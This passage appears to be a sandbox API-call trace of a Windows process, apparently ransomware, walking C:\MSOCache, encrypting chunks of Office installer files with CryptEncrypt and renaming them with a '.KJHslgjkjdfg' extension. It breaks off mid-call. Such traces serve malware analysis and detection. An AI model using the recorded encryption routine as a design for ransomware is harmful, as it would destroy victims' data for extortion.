ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 0xffffffff [0146.692] GetProcessHeap () returned 0x2ef0000 [0146.692] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14a78 | out: hHeap=0x2ef0000) returned 1 [0146.692] GetLastError () returned 0x5 [0146.692] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xae99ef60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0xffff, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0146.692] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffff, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0146.692] GetProcessHeap () returned 0x2ef0000 [0146.692] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28) returned 0x2f17838 [0146.692] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*.*", lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x2f14a78 [0146.692] GetProcessHeap () returned 0x2ef0000 [0146.692] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17838 | out: hHeap=0x2ef0000) returned 1 [0146.692] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0146.692] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0146.692] GetProcessHeap () returned 0x2ef0000 [0146.692] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22a) returned 0x2f16758 [0146.692] GetProcessHeap () returned 0x2ef0000 [0146.692] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c) returned 0x2f0c898 [0146.693] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f122c8 [0146.727] GetProcessHeap () returned 0x2ef0000 [0146.727] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0146.727] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0146.729] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0146.729] GetProcessHeap () returned 0x2ef0000 [0146.729] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x23e) returned 0x2f16990 [0146.729] GetProcessHeap () returned 0x2ef0000 [0146.729] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f12308 [0146.729] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f123a0 [0146.730] GetProcessHeap () returned 0x2ef0000 [0146.730] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f12308 | out: hHeap=0x2ef0000) returned 1 [0146.730] FindNextFileW (in: hFindFile=0x2f123a0, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0146.730] FindNextFileW (in: hFindFile=0x2f123a0, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0146.730] GetProcessHeap () returned 0x2ef0000 [0146.730] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f16bd8 [0146.731] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0146.731] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=16972987) returned 1 [0146.731] GetProcessHeap () returned 0x2ef0000 [0146.731] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0146.732] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0146.732] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.732] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f4*=0x5, lpOverlapped=0x0) returned 1 [0146.734] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f123e0) returned 1 [0146.734] CryptSetKeyParam (hKey=0x2f123e0, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.734] GetProcessHeap () returned 0x2ef0000 [0146.734] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0146.734] CryptEncrypt (in: hKey=0x2f123e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0146.734] CryptDestroyKey (hKey=0x2f123e0) returned 1 [0146.734] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0146.734] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0146.734] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0146.734] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0146.734] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0146.734] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0146.734] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f123e0) returned 1 [0146.734] CryptSetKeyParam (hKey=0x2f123e0, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.734] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0146.735] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0146.743] CryptEncrypt (in: hKey=0x2f123e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0146.747] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.747] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0146.749] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x102fd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.749] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0146.749] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0146.749] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0146.754] CryptEncrypt (in: hKey=0x2f123e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0146.757] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.757] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0146.820] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x102fd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.820] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0146.820] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfefcc0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0146.820] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0146.837] CryptEncrypt (in: hKey=0x2f123e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0146.840] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfefcc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.840] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0146.841] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x102fd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.841] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0146.841] CryptDestroyKey (hKey=0x2f123e0) returned 1 [0146.841] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x102fd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.841] SetEndOfFile (hFile=0x124) returned 1 [0146.843] GetProcessHeap () returned 0x2ef0000 [0146.843] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0146.843] GetProcessHeap () returned 0x2ef0000 [0146.843] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0146.843] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.kjhslgjkjdfg")) returned 1 [0146.845] CloseHandle (hObject=0x124) returned 1 [0146.845] FindNextFileW (in: hFindFile=0x2f123a0, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1 [0146.846] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0146.846] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=2506240) returned 1 [0146.846] GetProcessHeap () returned 0x2ef0000 [0146.846] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0146.846] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0146.846] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.846] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f123e0) returned 1 [0146.846] CryptSetKeyParam (hKey=0x2f123e0, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.846] GetProcessHeap () returned 0x2ef0000 [0146.846] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0146.846] CryptEncrypt (in: hKey=0x2f123e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0146.846] CryptDestroyKey (hKey=0x2f123e0) returned 1 [0146.846] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0146.849] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0146.849] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0146.849] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0146.849] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0146.849] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0146.849] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f123e0) returned 1 [0146.849] CryptSetKeyParam (hKey=0x2f123e0, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.849] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0146.849] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0146.897] CryptEncrypt (in: hKey=0x2f123e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0146.901] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.901] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0146.902] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x263ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.902] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0146.902] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0146.902] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0146.912] CryptEncrypt (in: hKey=0x2f123e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0146.927] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.927] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0146.928] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x263ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.928] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0146.928] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0146.928] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0146.933] CryptEncrypt (in: hKey=0x2f123e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0146.936] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.936] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0146.936] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x263ed4, lpNewFilePointer=0x0, 